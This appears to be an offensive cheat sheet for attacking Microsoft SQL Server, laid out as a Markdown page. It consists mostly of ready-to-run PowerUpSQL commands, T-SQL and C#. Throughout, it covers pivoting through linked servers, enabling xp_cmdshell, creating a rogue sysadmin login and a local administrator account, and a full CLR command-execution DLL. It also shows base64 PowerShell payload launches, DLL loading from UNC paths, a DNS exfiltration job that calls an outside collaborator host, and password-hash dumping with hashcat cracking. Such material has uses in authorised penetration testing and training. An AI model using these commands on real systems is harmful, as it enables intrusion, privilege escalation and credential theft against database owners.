676 lines
23 KiB
Markdown
676 lines
23 KiB
Markdown
# MSSQL Server
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## Summary
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* [Tools](#tools)
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* [Identify Instances and Databases](#identifiy-instaces-and-databases)
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* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
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* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
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* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
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* [Identify Encrypted databases](#identifiy-encrypted-databases)
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* [Version Query](#version-query)
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* [Identify Sensitive Information](#identify-sensitive-information)
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* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
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* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
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* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
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* [Dump common information from server to files](#dump-common-information-from-server-to-files)
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* [Linked Database](#linked-database)
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* [Find Trusted Link](#find-trusted-link)
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* [Execute Query Through The Link](#execute-query-through-the-link)
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* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
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* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
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* [Query Version of Linked Database](#query-version-of-linked-database)
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* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
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* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
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* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
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* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
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* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
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* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
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* [Extended Stored Procedure](#extended-stored-procedure)
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* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
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* [CLR Assemblies](#clr-assemblies)
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* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
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* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
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* [OLE Automation](#ole-automation)
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* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
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* [Agent Jobs](#agent-jobs)
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* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service)
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* [List All Jobs](#list-all-jobs)
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* [External Scripts](#external-scripts)
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* [Python](#python)
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* [R](#r)
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* [Audit Checks](#audit-checks)
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* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities)
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* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy)
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* [Manual SQL Server Queries](#manual-sql-server-queries)
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* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin)
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* [Current Role](#current-role)
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* [Current DB](#current-db)
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* [List all tables](#list-all-tables)
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* [List all databases](#list-all-databases)
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* [All Logins on Server](#all-logins-on-server)
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* [All Database Users for a Database](#all-database-users-for-a-database)
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* [List All Sysadmins](#list-all-sysadmins)
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* [List All Database Roles](#list-all-database-role)
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* [Effective Permissions from the Server](#effective-permissions-from-the-server)
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* [Effective Permissions from the Database](#effective-permissions-from-the-database)
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* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
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* [Exploiting Impersonation](#exploiting-impersonation)
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* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
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* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
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* [References](#references)
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## Tools
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* [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server
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* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon/) - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.
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## Identify Instances and Databases
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### Discover Local SQL Server Instances
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```ps1
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Get-SQLInstanceLocal
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```
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### Discover Domain SQL Server Instances
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```ps1
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Get-SQLInstanceDomain -Verbose
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# Get Server Info for Found Instances
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get Database Names
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Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
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```
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### Discover Remote SQL Server Instances
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```ps1
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Get-SQLInstanceBroadcast -Verbose
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Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
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```
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### Identify Encrypted databases
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Note: These are automatically decrypted for admins
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```ps1
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Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
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```
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### Version Query
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```ps1
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Get-SQLInstanceDomain | Get-Query "select @@version"
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```
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## Identify Sensitive Information
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### Get Tables from a Specific Database
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```ps1
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Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
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Get Column Details from a Table
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Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
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```
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### Gather 5 Entries from Each Column
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```ps1
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Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
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```
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### Gather 5 Entries from a Specific Table
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
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```
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### Dump common information from server to files
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```ps1
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Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
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```
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## Linked Database
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### Find Trusted Link
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```sql
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select * from master..sysservers
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```
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### Execute Query Through The Link
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```sql
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-- execute query through the link
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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select version from openquery("linkedserver", 'select @@version as version');
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-- chain multiple openquery
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select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
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-- execute shell commands
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EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
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select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
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-- create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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### Crawl Links for Instances in the Domain
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A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
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```ps1
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Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
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select * from master..sysservers
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```
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### Crawl Links for a Specific Instance
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```ps1
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Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
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```
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### Query Version of Linked Database
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
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```
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### Execute Procedure on Linked Database
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```ps1
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SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
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SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
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SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
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SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
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SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
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```
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### Determine Names of Linked Databases
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> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
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```
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### Determine All the Tables Names from a Selected Linked Database
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> The result is TableName which feeds into following query
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
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```
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### Gather the Top 5 Columns from a Selected Linked Table
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> The results are ColumnName and ColumnValue which feed into following query
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
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```
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### Gather Entries from a Selected Linked Column
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```ps1
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Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
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```
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## Command Execution via xp_cmdshell
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> xp_cmdshell disabled by default since SQL Server 2005
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```ps1
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PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
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# Creates and adds local user backup to the local administrators group:
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PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
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PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
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```
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* Manually execute the SQL query
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```sql
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EXEC xp_cmdshell "net user";
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EXEC master..xp_cmdshell 'whoami'
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EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
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EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
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```
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* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
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```sql
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EXEC sp_configure 'show advanced options',1;
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RECONFIGURE;
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EXEC sp_configure 'xp_cmdshell',1;
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RECONFIGURE;
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```
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* If the procedure was uninstalled
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```sql
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sp_addextendedproc 'xp_cmdshell','xplog70.dll'
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```
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## Extended Stored Procedure
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### Add the extended stored procedure and list extended stored procedures
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```ps1
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# Create evil DLL
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Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
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# Load the DLL and call xp_test
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Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
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Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
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# Listing existing
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Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
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```
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* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
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* Load the DLL
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```sql
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-- can also be loaded from UNC path or Webdav
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sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
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EXEC xp_calc
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sp_dropextendedproc 'xp_calc'
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```
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## CLR Assemblies
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Prerequisites:
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* sysadmin privileges
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* CREATE ASSEMBLY permission (or)
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* ALTER ASSEMBLY permission (or)
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The execution takes place with privileges of the **service account**.
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### Execute commands using CLR assembly
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```ps1
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# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
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Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
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# Execute command using CLR assembly
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Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
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Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
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Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
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# List all the stored procedures added using CLR
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Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
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```
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### Manually creating a CLR DLL and importing it
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Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
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```csharp
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using System;
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using System.Data;
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using System.Data.SqlClient;
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using System.Data.SqlTypes;
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using Microsoft.SqlServer.Server;
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using System.IO;
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using System.Diagnostics;
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using System.Text;
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public partial class StoredProcedures
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{
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[Microsoft.SqlServer.Server.SqlProcedure]
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public static void cmd_exec (SqlString execCommand)
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{
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Process proc = new Process();
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proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
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proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
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proc.StartInfo.UseShellExecute = false;
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proc.StartInfo.RedirectStandardOutput = true;
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proc.Start();
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// Create the record and specify the metadata for the columns.
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SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
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// Mark the beginning of the result set.
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SqlContext.Pipe.SendResultsStart(record);
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// Set values for each column in the row
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record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
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// Send the row back to the client.
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SqlContext.Pipe.SendResultsRow(record);
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// Mark the end of the result set.
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SqlContext.Pipe.SendResultsEnd();
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proc.WaitForExit();
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proc.Close();
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}
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};
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```
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Then follow these instructions:
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1. Enable `show advanced options` on the server
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```sql
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sp_configure 'show advanced options',1;
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RECONFIGURE
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GO
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```
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2. Enable CLR on the server
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```sql
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sp_configure 'clr enabled',1
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RECONFIGURE
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GO
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```
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3. Import the assembly
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```sql
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CREATE ASSEMBLY my_assembly
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FROM 'c:\temp\cmd_exec.dll'
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WITH PERMISSION_SET = UNSAFE;
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```
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4. Link the assembly to a stored procedure
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```sql
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CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
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GO
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```
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5. Execute and clean
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```sql
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cmd_exec "whoami"
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DROP PROCEDURE cmd_exec
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DROP ASSEMBLY my_assembly
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```
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**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
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```sql
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CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
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0x4D5A90000300000004000000F[TRUNCATED]
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WITH PERMISSION_SET = UNSAFE
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GO
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```
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## OLE Automation
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* :warning: Disabled by default
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* The execution takes place with privileges of the **service account**.
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### Execute commands using OLE automation procedures
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```ps1
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Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
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```
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```ps1
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# Enable OLE Automation
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EXEC sp_configure 'show advanced options', 1
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EXEC sp_configure reconfigure
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EXEC sp_configure 'OLE Automation Procedures', 1
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EXEC sp_configure reconfigure
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# Execute commands
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DECLARE @execmd INT
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EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
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EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
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```
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```powershell
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# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
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python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
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python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
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python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
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SQL> enable_ole
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SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
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```
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## Agent Jobs
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* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
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* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
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### Execute commands through SQL Agent Job service
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```ps1
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Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
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Subsystem Options:
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–Subsystem CmdExec
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-SubSystem PowerShell
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–Subsystem VBScript
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–Subsystem Jscript
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```
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```sql
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USE msdb;
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EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
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EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
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EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
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EXEC dbo.sp_start_job N'test_powershell_job1';
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-- delete
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||
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
|
||
```
|
||
|
||
### List All Jobs
|
||
|
||
```ps1
|
||
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
|
||
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
|
||
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
|
||
```
|
||
|
||
## External Scripts
|
||
|
||
:warning: You need to enable **external scripts**.
|
||
|
||
```sql
|
||
sp_configure 'external scripts enabled', 1;
|
||
RECONFIGURE;
|
||
```
|
||
|
||
## Python:
|
||
|
||
```ps1
|
||
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
||
|
||
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
|
||
WITH RESULT SETS (([cmd_out] nvarchar(max)))
|
||
```
|
||
|
||
## R
|
||
|
||
```ps1
|
||
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
||
|
||
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
|
||
WITH RESULT SETS (([cmd_out] text));
|
||
GO
|
||
|
||
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
|
||
```
|
||
|
||
## Audit Checks
|
||
|
||
|
||
### Find and exploit impersonation opportunities
|
||
|
||
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
|
||
* Impersonate `dbo` with DB_OWNER
|
||
```sql
|
||
SQL> select is_member('db_owner');
|
||
SQL> execute as user = 'dbo'
|
||
SQL> SELECT is_srvrolemember('sysadmin')
|
||
```
|
||
|
||
```ps1
|
||
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
||
|
||
# impersonate sa account
|
||
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
|
||
```
|
||
|
||
## Find databases that have been configured as trustworthy
|
||
|
||
```sql
|
||
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
||
|
||
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
|
||
```
|
||
|
||
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
|
||
|
||
```ps1
|
||
Invoke-SQLAuditPrivXpDirtree
|
||
Invoke-SQLUncPathInjection
|
||
Invoke-SQLAuditPrivXpFileexist
|
||
```
|
||
|
||
## Manual SQL Server Queries
|
||
|
||
### Query Current User & determine if the user is a sysadmin
|
||
|
||
```sql
|
||
select suser_sname()
|
||
Select system_user
|
||
select is_srvrolemember('sysadmin')
|
||
```
|
||
|
||
### Current Role
|
||
|
||
```sql
|
||
Select user
|
||
```
|
||
|
||
### Current DB
|
||
|
||
```sql
|
||
select db_name()
|
||
```
|
||
|
||
### List all tables
|
||
|
||
```sql
|
||
select table_name from information_schema.tables
|
||
```
|
||
|
||
### List all databases
|
||
|
||
```sql
|
||
select name from master..sysdatabases
|
||
```
|
||
|
||
### All Logins on Server
|
||
|
||
```sql
|
||
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
|
||
```
|
||
|
||
### All Database Users for a Database
|
||
|
||
```sql
|
||
Select * from sys.database_principals where type_desc != 'database_role';
|
||
```
|
||
|
||
### List All Sysadmins
|
||
|
||
```sql
|
||
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
|
||
```
|
||
|
||
### List All Database Roles
|
||
|
||
```sql
|
||
SELECT DB1.name AS DatabaseRoleName,
|
||
isnull (DB2.name, 'No members') AS DatabaseUserName
|
||
FROM sys.database_role_members AS DRM
|
||
RIGHT OUTER JOIN sys.database_principals AS DB1
|
||
ON DRM.role_principal_id = DB1.principal_id
|
||
LEFT OUTER JOIN sys.database_principals AS DB2
|
||
ON DRM.member_principal_id = DB2.principal_id
|
||
WHERE DB1.type = 'R'
|
||
ORDER BY DB1.name;
|
||
```
|
||
|
||
### Effective Permissions from the Server
|
||
|
||
```sql
|
||
select * from fn_my_permissions(null, 'server');
|
||
```
|
||
|
||
### Effective Permissions from the Database
|
||
|
||
```sql
|
||
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
|
||
```
|
||
|
||
### Find SQL Server Logins Which can be Impersonated for the Current Database
|
||
|
||
```sql
|
||
select distinct b.name
|
||
from sys.server_permissions a
|
||
inner join sys.server_principals b
|
||
on a.grantor_principal_id = b.principal_id
|
||
where a.permission_name = 'impersonate'
|
||
```
|
||
|
||
### Exploiting Impersonation
|
||
|
||
```sql
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
EXECUTE AS LOGIN = 'adminuser'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
SELECT ORIGINAL_LOGIN()
|
||
```
|
||
|
||
### Exploiting Nested Impersonation
|
||
|
||
```sql
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
EXECUTE AS LOGIN = 'stduser'
|
||
SELECT SYSTEM_USER
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
SELECT ORIGINAL_LOGIN()
|
||
SELECT SYSTEM_USER
|
||
```
|
||
|
||
### MSSQL Accounts and Hashes
|
||
|
||
```sql
|
||
MSSQL 2000:
|
||
SELECT name, password FROM master..sysxlogins
|
||
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
|
||
|
||
MSSQL 2005
|
||
SELECT name, password_hash FROM master.sys.sql_logins
|
||
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
||
```
|
||
|
||
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
|
||
|
||
```ps1
|
||
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
|
||
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
|
||
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
|
||
```
|
||
|
||
|
||
## References
|
||
|
||
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
|
||
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
|
||
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
|
||
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution) |